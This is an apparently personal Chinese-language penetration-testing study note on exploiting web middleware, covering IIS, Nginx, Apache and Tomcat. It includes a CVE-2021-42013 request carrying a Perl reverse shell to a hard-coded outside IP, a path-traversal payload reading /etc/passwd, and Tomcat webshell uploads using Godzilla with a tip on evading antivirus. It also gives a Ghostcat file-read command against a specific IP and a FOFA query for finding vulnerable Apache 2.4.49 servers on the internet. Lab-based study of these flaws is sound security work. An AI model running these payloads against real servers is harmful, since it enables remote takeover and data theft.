总览

知识点:

中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jira,Struts2(被淘汰),Laravel,Solr,Shiro,Thinkphp, Spring ,Flask,jQuery等

中间件单间平台,框架有源码以及一个完整的套用体系。

1、中间件-IIS-短文件&解析&蓝屏等
2、中间件-Nginx-文件解析&命令执行等
3、中间件-Apache-RCE&目录遍历&文件解析等
4、中间件-Tomcat-弱口令&文件上传&文件包含等

前置知识:

中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程:
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

实例

中间件-IIS-短文件&解析&蓝屏等

IIS中间件漏洞基本过时。

1、短文件:信息收集
2、文件解析:还有点用
3、HTTP.SYS:蓝屏崩溃(破坏性漏洞,不建议利用)
4、CVE-2017-7269 条件过老

中间件-Nginx-文件解析&命令执行等

1、后缀解析 文件名解析

配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
CVE-2013-4547
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
使用:
具体教程参考这个:
https://vulhub.org/#/environments/nginx/CVE-2013-4547/
上传图片时,抓下数据包,把图片末尾添加上一个空格,把数据包主体内容换成
<?php phpinfo();?>
在上传成功后,尝试访问:
http://your-ip:8080/uploadfiles/1.gif.php
抓取访问数据包,改为:
http://your-ip:8080/uploadfiles/1.gif .php
把第二个空格0x20的十六进制值改为0x00
把访问数据包放出去,访问如果能正确看到phpinfo执行结果,代表php执行成功
--------------
官方wp:
http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php

2、cve_2021_23017 无EXP
3、cve_2017_7529 意义不大

中间件-Apache-RCE&目录遍历&文件解析等

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。

1、cve_2021_42013  RCE
数据头:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
主体内容:
echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

2、cve_2021_41773 目录穿越
属于目录遍历
Apache HTTP Server 2.4.492.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,
攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,
攻击者可构造恶意请求执行命令,控制服务器。
payload:
使用BP,访问下面的路径即可
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

3、cve-2017-15715 文件解析
Apache HTTPD是一款HTTP服务器。
2.4.0~2.4.29版本存在一个解析漏洞,
在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

payload:
php换行解析漏洞,配合的是php文件上传漏洞,上传的文件名后面加上空格,使用十六进制修改0x200x0a


4、cve_2017_9798 价值不高(和权限不挂钩)
5、cve_2018_11759 价值不高
6、cve_2021_37580 插件问题(不一定会加载它,使用率没那么大众化)

中间件-Tomcat-弱口令&文件上传&文件包含等

Vulfocus靶场
1、弱口令猜解(tomcat-pass-getshell 弱口令 )
工具
https://github.com/BeichenDream/Godzilla
把工具下的111.jsp压缩后换掉文件后缀为.war,或者自己手动生成一个码再加压改后缀
有效荷载:JavaDynamicPayload
加密器: JAVA_AES_BASE64
别被杀软杀了

tomcat登录后台
登录完成后,点击文件上传,把war上传上去,访问 网站时以
http://your_ip_address:xxx/111/111.jsp
进行访问,然后添加到Godzilla,直接拿下后台目录

配置不当导致后台弱口令,可通过上传jsp压缩包改名的war拿shell

2、CVE-2017-12615 文件上传
当存在漏洞的Tomcat运行在Windows/Linux主机上,
且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) ,
攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,
JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。
影响版本:Apache Tomcat 7.0.0 - 7.0.79

payload:
使用浏览器,以post形式刷新页面发包,拦截这个流量包
把拦截下来的流量包改为这个东西
PUT /1.jsp/ HTTP/1.1
shell代码

3、cve_2020_1938 文件包含(破坏性漏洞)
Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,
攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。
若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。
漏洞影响的产品版本包括:
Tomcat 6.*
Tomcat 7.* < 7.0.100
Tomcat 8.* < 8.5.51
Tomcat 9.* < 9.0.31
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

payload:读取文件内容
映射8009端口
D:\Python27\python.exe CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.242.168.37 -p 17104 -f WEB-INF/web.xml

4、cve_2020_11996 拒绝服务
危害过大,权限无关,意义不大(破坏性漏洞)

5、cve_2020_9484 反序列化
利用条件太苛刻,意义不大(能实现这四个条件都能选择其它办法了)
苛刻的原因:
描述: Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。
成功利用此漏洞需要同时满足以下4个条件:
1.攻击者能够控制服务器上文件的内容和文件名称;
2.服务器PersistenceManager配置中使用了FileStore;
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象;
4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

中间件-Fofaviewer&Apache_RCE-走向高端啊

fofa查:
server="Apache/2.4.49"
域名反查获取的ip